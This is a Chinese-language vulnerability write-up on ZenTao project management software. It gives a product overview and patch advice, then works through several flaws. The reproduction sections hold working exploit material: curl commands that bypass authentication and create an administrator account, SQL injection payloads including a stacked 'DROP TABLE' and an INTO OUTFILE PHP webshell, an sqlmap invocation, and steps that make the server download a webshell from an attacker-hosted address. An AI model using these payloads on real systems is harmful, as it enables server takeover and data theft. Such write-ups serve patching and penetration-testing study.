禅道漏洞

禅道漏洞
Takake1.禅道简介
禅道(ZenTao)是一款开源的项目管理软件,专注于敏捷开发团队的需求,支持Scrum、看板等敏捷方法,同时融合了传统项目管理的功能模块。它由中国的禅道团队开发,广泛应用于软件开发、互联网产品研发等领域。
核心功能模块
- 产品管理
- 管理产品需求(用户故事)、版本规划、路线图。
- 支持需求优先级排序、分解任务。
- 项目管理
- 支持Scrum(迭代、冲刺)和看板(Kanban)模式。
- 分配任务、跟踪进度、燃尽图统计。
- 质量管理
- 用例管理、缺陷跟踪(Bug提交、指派、修复验证)。
- 支持测试套件和自动化测试集成。
- 文档管理
- 共享项目文档、知识库,支持版本控制。
- 团队协作
- 任务讨论、动态订阅、工时记录、甘特图。
- 统计报表
- 生成进度、效率、缺陷分布等可视化报表。
技术架构
- 开源版本:基于PHP + MySQL开发,支持自主部署到服务器。
- 企业版:提供SaaS云服务(免部署)、技术支持及高级功能(如OA审批、自定义工作流)。
版本类型
- 开源版
- 免费使用,功能完整,适合中小团队或技术能力较强的企业。
- 需自行维护和部署。
- 企业版
- 付费订阅,提供技术支持、云端服务、增强功能(如安全审计、企业微信集成等)。
适用场景
- 敏捷开发团队:Scrum迭代管理、每日站会同步。
- 传统项目管理:任务分解、里程碑跟踪。
- 测试团队:缺陷全生命周期管理(从提交到回归测试)。
- 跨部门协作:产品、研发、测试多角色协同。
优缺点分析
优势:
- 功能全面:覆盖需求、任务、缺陷、文档全流程。
- 开源免费:适合预算有限的团队,可灵活定制代码。
- 本地化支持:中文界面友好,符合国内团队使用习惯。
- 社区活跃:有开源社区和论坛提供问题解答。
不足:
- 学习成本较高:功能模块复杂,新手需适应。
- 界面设计较传统:UI现代化程度低于Jira、Trello等工具。
- 企业版成本较高:高级功能需付费。
对比其他工具
- Jira:禅道更侧重全生命周期管理,Jira插件生态更丰富。
- Trello/Teambition:禅道功能更重,适合复杂项目;轻量级团队可能偏好看板工具。
- Redmine:禅道在敏捷支持和中文体验上更优。
总结
禅道适合中大型团队或需要完整项目管理流程的企业,尤其是重视缺陷管理和敏捷实践的软件开发团队。开源版适合技术团队自主部署,企业版则提供省心的云端服务与技术支持。若团队追求极简或轻量化协作,可能需要搭配其他工具使用。
二.禅道常见漏洞
以下是禅道项目管理软件(ZenTaoPMS)近年来被公开披露的常见安全漏洞及其关键信息,按漏洞类型和危害程度分类整理:
1. 身份认证绕过漏洞(高危)
- 漏洞编号:QVD-2024-15263
- 影响版本:
- 开源版:16.x ≤ 禅道 < 18.12
- 企业版:6.x ≤ 禅道 < 8.12
- 旗舰版:3.x ≤ 禅道 < 4.12
- 漏洞描述:攻击者可通过构造特定请求绕过身份认证,调用任意API接口(如修改管理员密码、创建高权限用户),结合其他漏洞可完全控制服务器。
- 利用示例:通过
/api.php?m=testcase&f=savexmindimport
获取伪造的会话Cookie,进而添加管理员用户并登录系统。 - 修复建议:升级至开源版≥18.12、企业版≥8.12、旗舰版≥4.12。
2. SQL注入漏洞(高危)
CNVD-2022-42853(高危
- 漏洞原理:
禅道16.5及早期版本的登录接口未对用户输入的account
参数进行过滤,攻击者可构造恶意SQL语句拼接至数据库查询中,导致敏感信息泄露(如管理员账号、密码)145。 - 影响版本:
- 开源版:16.5、16.5.beta1
- 企业版:6.5
- 旗舰版:3.0
- 利用方式:
- 报错注入:通过
updatexml
函数触发数据库错误回显(示例Payload:account=admin'+and+updatexml(1,concat(0x7e,user()),1)
)15。 - 延时注入:利用
SLEEP
函数探测数据库信息(示例Payload:account=admin' AND (SELECT SLEEP(5))
)1。
- 报错注入:通过
- 修复建议:升级至开源版≥18.9,并安装官方补丁8。
禅道V17.4权限绕过后的SQL注入
- 漏洞原理:
禅道V17.4存在权限绕过漏洞(misc
模块的captcha
方法可伪造Session),绕过后可在convert
模块的数据库导入功能中触发堆叠注入(dbExists
和connectDB
函数未过滤dbName
参数)2。 - 影响版本:
- 开源版:17.4 ≤ 禅道 ≤ 18.0.beta1
- 企业版:7.4 ≤ 禅道 ≤ 8.0.beta1
- 旗舰版:3.4 ≤ 禅道 ≤ 4.0.beta1
- 利用方式:
- 通过构造恶意
dbName
参数执行堆叠查询(示例Payload:dbName=test'; DROP TABLE zt_user;--
)2。
- 通过构造恶意
- 修复建议:升级至安全版本,官方在后续版本中将权限验证逻辑修改为
die()
终止执行2。
禅道8.2-9.2.1文件写入型SQL注入
- 漏洞原理:
ORM框架中order by
参数未严格过滤,攻击者通过预处理语句(PREPARE
/EXECUTE
)绕过过滤,将恶意SQL语句写入文件(如WebShell)3。 - 影响版本:8.2 ≤ 禅道 ≤ 9.2.1
- 利用方式:
- 构造Payload将PHP木马写入服务器(示例:
orderBy=order limit 1; SELECT '<?php eval($_POST[1])?>' INTO OUTFILE '/var/www/xx.php'
)3。
- 构造Payload将PHP木马写入服务器(示例:
- 修复建议:升级至禅道≥9.2.2,并限制
order by
参数输入3。
禅道11.6 API路径注入
- 漏洞原理:
API接口的sql
参数未过滤,通过api-getModel
路径直接执行任意SQL语句(如sql=select password from zt_user
)10。 - 影响版本:禅道11.6及早期版本
- 利用方式:
- 直接调用API接口执行SQL查询(示例URL:
/zentaopms_11.6/www/api-getModel-api-sql-sql=select+account,password+from+zt_user
)10。
- 直接调用API接口执行SQL查询(示例URL:
- 修复建议:升级至后续版本并禁用危险API接口。
3. 文件上传漏洞(高危)
- 漏洞编号:CNVD-C-2020-121325
- 影响版本:禅道CMS ≤12.4.2
- 漏洞描述:通过未严格过滤的
link
参数远程下载恶意脚本文件(如PHP WebShell),导致任意代码执行。 - 利用方式:构造包含Base64编码恶意文件地址的请求(如
/www/client-download-[version]-[base64-link].html
)触发漏洞。 - 修复建议:升级至禅道CMS >12.4.2版本。
4. 会话伪造与权限提升漏洞(中高危)
- 漏洞类型:
- 诱导点击带SessionID的链接:攻击者可诱骗用户点击包含有效SessionID的链接,绕过身份认证。
- 忘记密码页面链接注入:低危漏洞,允许通过注入恶意链接绕过部分验证流程。
- 修复建议:安装对应补丁(如禅道补丁18.12.3)并升级至安全版本。
5. 其他高危利用链
- 无需权限GetShell:特定版本(如8.2-9.2.1)因文件写入权限配置不当,攻击者可直接上传恶意文件。
- 低权限GetShell:需获取后台账号或Cookie后执行漏洞利用链,生成WebShell。
- 管理员权限GetShell:适用于未加安全限制的一键安装版,通过命令执行获取服务器权限。
总结与建议
- 风险优先级:身份认证绕过和SQL注入漏洞危害最高,可导致服务器完全失陷;文件上传漏洞利用门槛较低,需重点关注。
- 修复措施:
- 定期检查并升级至官方最新版本或安装补丁。
- 限制禅道系统的公网暴露,加强访问控制与日志监控。
- 对二次开发系统进行安全审计,避免引入新漏洞。
如需具体漏洞复现或修复步骤,可参考官方公告及技术分析链接。
三.漏洞复现
QVD-2024-15263漏洞综合分析
1. 影响版本
该漏洞影响禅道项目管理系统的以下版本:
- 开源版:16.x ≤ 禅道 < 18.12
- 企业版:6.x ≤ 禅道 < 8.12
- 旗舰版:3.x ≤ 禅道 < 4.12
2. 漏洞原理
漏洞核心在于鉴权逻辑缺陷,具体表现为:
- 会话伪造:攻击者通过请求特定接口(如
/api.php?m=testcase&f=savexmindimport
)时,系统未严格校验会话合法性,自动生成包含有效user
字段的Cookie(zentaosid
),从而绕过身份认证。 - 权限验证缺失:在后续调用高权限API(如用户管理接口)时,系统仅检查
user
字段是否存在,未验证其合法性,导致攻击者可执行管理员操作(如添加用户、修改密码)。 - 代码逻辑缺陷:
testcase
模块的saveXmindImport
方法调用了deny()
函数,该函数错误地将user
属性写入会话($_SESSION
),为攻击者构造合法会话提供了条件。
3. 漏洞复现步骤
- 启用了apache用户验证,如果没启用,则可以直接请求获取cookie。
以下是典型的漏洞利用链:
- 通过弱口令(zentao:123456),或者未授权,进入初始系统登陆页面
- 如果直接请求的话 会401未授权访问
1 | http://{target}/zentao/api.php?m=testcase&f=savexmindimport&HTTP_X_REQUESTED_WITH=XMLHttpRequest&productID=xxx&branch=xxx |
- 或者直接通过Authorization请求头 base64编码请求
emVudGFvOjEyMzQ1Ng==
1 | curl "http://192.168.100.1/zentao/api.php?m=testcase&f=savexmindimport&HTTP_X_REQUESTED_WITH=XMLHttpRequest&productID=xxx&branch=xxx" -H "Authorization: Basic $(echo -n "zentao:123456" | base64)" -v |
- 通过获取到的身份令牌创建管理员新管理员用户
1 | POST /api.php/v1/users |
- 通过curl发送请求
1 | curl "http://192.168.100.1/zentao/api.php/v1/users" -X POST -d '{"account": "test123", "password": "Admin@123", "realname": "test", "role": "top", "group": "1"}' -H "Cookie: zentaosid=e5a4f2bc2753e398565b28b34c0cafb0" -H "Authorization: Basic $(echo -n "zentao:123456" | base64)" |
即使返回403状态码,新用户仍可成功登录并拥有管理员权限。
- 验证权限
使用新账号登录系统,可确认权限提升成功。
4. 利用条件
- 系统版本:需为受影响范围内的未修复版本。
- 网络暴露:禅道系统需暴露于公网或攻击者可访问的内网环境。
- 接口开放:
/api.php
接口未被防火墙或权限策略限制访问。 - 无额外验证:目标系统未启用二次身份验证或IP白名单等增强防护措施。
5. 修复建议
- 升级至安全版本:
- 开源版升级至≥18.12
- 企业版升级至≥8.12
- 旗舰版升级至≥4.12。
- 临时缓解措施:
- 限制
/api.php
接口的访问权限。 - 监控异常用户创建或密码修改行为。
- 限制
- 代码修复:官方在18.12版本中修改了
entry.class.php
的鉴权逻辑,确保会话合法性校验前置。
总结
QVD-2024-15263是禅道项目管理系统中高危的身份认证绕过漏洞,攻击者可借此完全控制系统。建议受影响用户立即升级版本,并加强API接口的访问控制。如需完整技术细节或补丁下载,可参考禅道官方公告及GitHub修复记录。
CNVD-2022-42853 漏洞详解
1. 漏洞概述
CNVD-2022-42853 是禅道项目管理软件(ZenTaoPMS)中存在的高危 SQL注入漏洞,主要影响其部分开源版、企业版及旗舰版。攻击者可通过构造恶意请求注入SQL语句,导致数据库敏感信息泄露(如管理员账号密码、项目数据等),甚至进一步获取服务器控制权。
2. 影响版本
- 开源版:16.5、16.5beta1
- 企业版:6.5、6.5beta1
- 旗舰版:3.0、3.0beta1
3. 漏洞原理
漏洞核心源于禅道在用户登录接口的 account
参数未严格过滤,导致攻击者可通过该参数拼接恶意SQL语句。具体技术细节如下:
代码缺陷:
漏洞位于文件zbox/app/zentao/framework/base/router.class.php
的setVision()
函数中。该函数未对用户输入的account
参数进行合法性校验或转义,直接将其拼接到SQL查询语句中。1
2// 示例代码片段
$sql = "SELECT * FROM zt_user WHERE account='$account'";注入触发点:
攻击者通过登录接口(如/zentao/user-login.html
)提交包含恶意SQL片段的account
参数,触发数据库查询异常或执行任意SQL命令。
4. 漏洞复现步骤
以下为典型的手工注入复现流程:
环境搭建
- 下载并部署禅道V16.5版本(官网或镜像源)。
- 启动服务并访问默认后台页面(如
http://localhost:8080/zentao/
)。
手工注入示例
报错型注入(利用updatexml
函数):
1 | POST /zentao/user-login.html |
- 效果:
返回数据库报错信息,包含MD5加密后的字符串(如202cb962ac59075b964b07152d234b70
),验证注入成功。
延时注入(利用SLEEP
函数):
1 | GET /index.php?account=admin' AND (SELECT 1337 FROM (SELECT(SLEEP(5)))a)-- b |
- 效果:
页面响应时间延迟5秒,表明注入生效。
自动化工具利用
使用 SQLMap 联动Burp Suite加速漏洞利用:
- 捕获登录请求数据包并保存为
request.txt
。 - 执行命令:可快速获取数据库名、表名及敏感字段数据。
1
sqlmap -r request.txt --level 5 --risk 3 --batch --dbs
5. 漏洞修复建议
- 升级版本:
官方已发布修复版本,建议升级至开源版≥18.12、企业版≥8.12、旗舰版≥4.12。 - 输入过滤:
对用户输入的account
参数进行严格过滤(如白名单校验、转义特殊字符)。 - 临时缓解:
限制登录接口的访问权限,启用Web应用防火墙(WAF)拦截恶意SQL语句。
6. 漏洞总结
CNVD-2022-42853 是典型的 输入验证不严导致的SQL注入漏洞,攻击门槛低但危害极高。开发团队需重视代码审计与安全测试,避免直接拼接用户输入至SQL语句。用户应及时更新补丁并加强日志监控,防止数据泄露风险。
CNVD-C-2020-121325 漏洞复现详解
CNVD-C-2020-121325 是禅道项目管理软件(ZenTaoPMS)中存在的高危文件上传漏洞,允许已登录后台的攻击者通过构造恶意请求下载并写入任意文件,最终获取服务器控制权。以下是漏洞复现的完整流程及技术细节:
一、漏洞原理
代码缺陷
漏洞位于禅道的文件下载功能模块中,具体代码路径为/module/client/ext/model/xuanxuan.php
的downloadZipPackage
方法。- 该模块未严格校验
link
参数的协议类型(仅过滤小写http://
和https://
,但未过滤大写HTTP://
或HTTPS://
),导致攻击者可通过大写协议绕过限制。 - 攻击者构造恶意
link
参数(指向远程恶意脚本),禅道会通过fopen
函数下载该文件并写入本地目录/www/data/client/[version]/
。
- 该模块未严格校验
触发条件
- 需要后台管理员权限(默认账号如
admin/Admin123
)。 - 目标系统版本需为 禅道开源版 ≤12.4.2,且未安装安全补丁。
- 需要后台管理员权限(默认账号如
二、漏洞复现步骤
1. 环境准备
靶机环境:部署禅道开源版 12.4.2(下载历史版本)。
攻击机:Kali Linux(或任意可发起HTTP请求的主机)。
恶意文件:准备一个PHP一句话木马(如
shell.php
)并托管在攻击机的HTTP服务器上,示例内容:1
eval($_POST['cmd']); @
2. 漏洞利用(需要管理员权限)
步骤一:登录禅道后台
使用默认或已知的管理员账号(如 admin/Admin123
admin/123456
)登录后台管理界面。
步骤二:构造恶意请求
生成恶意链接的Base64编码:
将托管木马的HTTP链接(如HTTP://192.168.100.129:8111/shell.php
)进行Base64编码:1
2echo -n "HTTP://192.168.100.129/axc.php" | base64
# 输出:SFRUUDovLzE5Mi4xNjguMS4xMDAvc2hlbGwucGhw
发送漏洞利用请求:
构造GET请求,触发文件下载:1
2
3GET /zentao/client-download-1-aHR0cDovLzE5Mi4xNjguMTAwLjEyOS9zaGVsbC5waHA=.html
Host: [目标IP]
Cookie: [后台登录Session]
1 | curl "http://192.168.100.133/zentao/client-download-1-$(echo -n "HTTP://192.168.100.129:8111/shell.php" | base64).html" -H "cookie: zentaosid=5f9a13771a3d3969ef0e4368308c03b7" -H "Authorization: Basic $(echo -n "zentao:123456" | base64)" |
步骤三:验证WebShell
- 上传成功解析失败?
成功执行后,恶意文件将写入禅道目录:
1 | /www/data/client/1/shell.php |
访问以下URL验证(使用蚁剑或菜刀连接):
1 | http://[目标IP]/data/client/1/shell.php |
三、漏洞防御与修复
官方修复方案
- 升级至禅道 ≥12.4.3 版本,该版本在
xuanxuan.php
中新增了协议类型严格校验(包括大小写)。
- 升级至禅道 ≥12.4.3 版本,该版本在
临时缓解措施
- 限制后台管理页面的访问权限(如IP白名单)。
- 监控
/data/client/
目录的文件写入行为。
四、漏洞影响与风险
- 直接危害:攻击者可上传WebShell,控制服务器并窃取敏感数据(如数据库凭证、项目文件)。
- 利用门槛:需获取后台账号,但弱口令或默认配置可能降低攻击难度。
- 关联风险:结合其他漏洞(如提权漏洞)可进一步渗透内网域环境。
五、总结
CNVD-C-2020-121325 的复现核心在于协议绕过与文件写入逻辑缺陷,需结合后台权限和特定版本环境。建议企业及时升级版本,并定期审计权限配置与日志异常。对于渗透测试人员,此漏洞是内网横向移动的常见入口点,需重点关注禅道系统的安全加固。
四.总结
禅道漏洞最主要的就是24年的那个身份验证绕过了,因为这个响应版本很广,且不需要身份认证即可利用。而16.5的SQL注入虽然也不需要身份认证,但是只影响16.5版本,之后就是小于12.4.2版本的远程文件下载的漏洞了,这个虽然影响范围广,但是需要管理员权限才能实现文件上传,因此利用难度也很高。
还有其他的一些SQL注入,例如17.4的一个堆叠注入,和一个版本比较老的order by后的堆叠注入。
然后其他的漏洞都是一些比较杂的漏洞了,主要的还是上面提到的三个漏洞。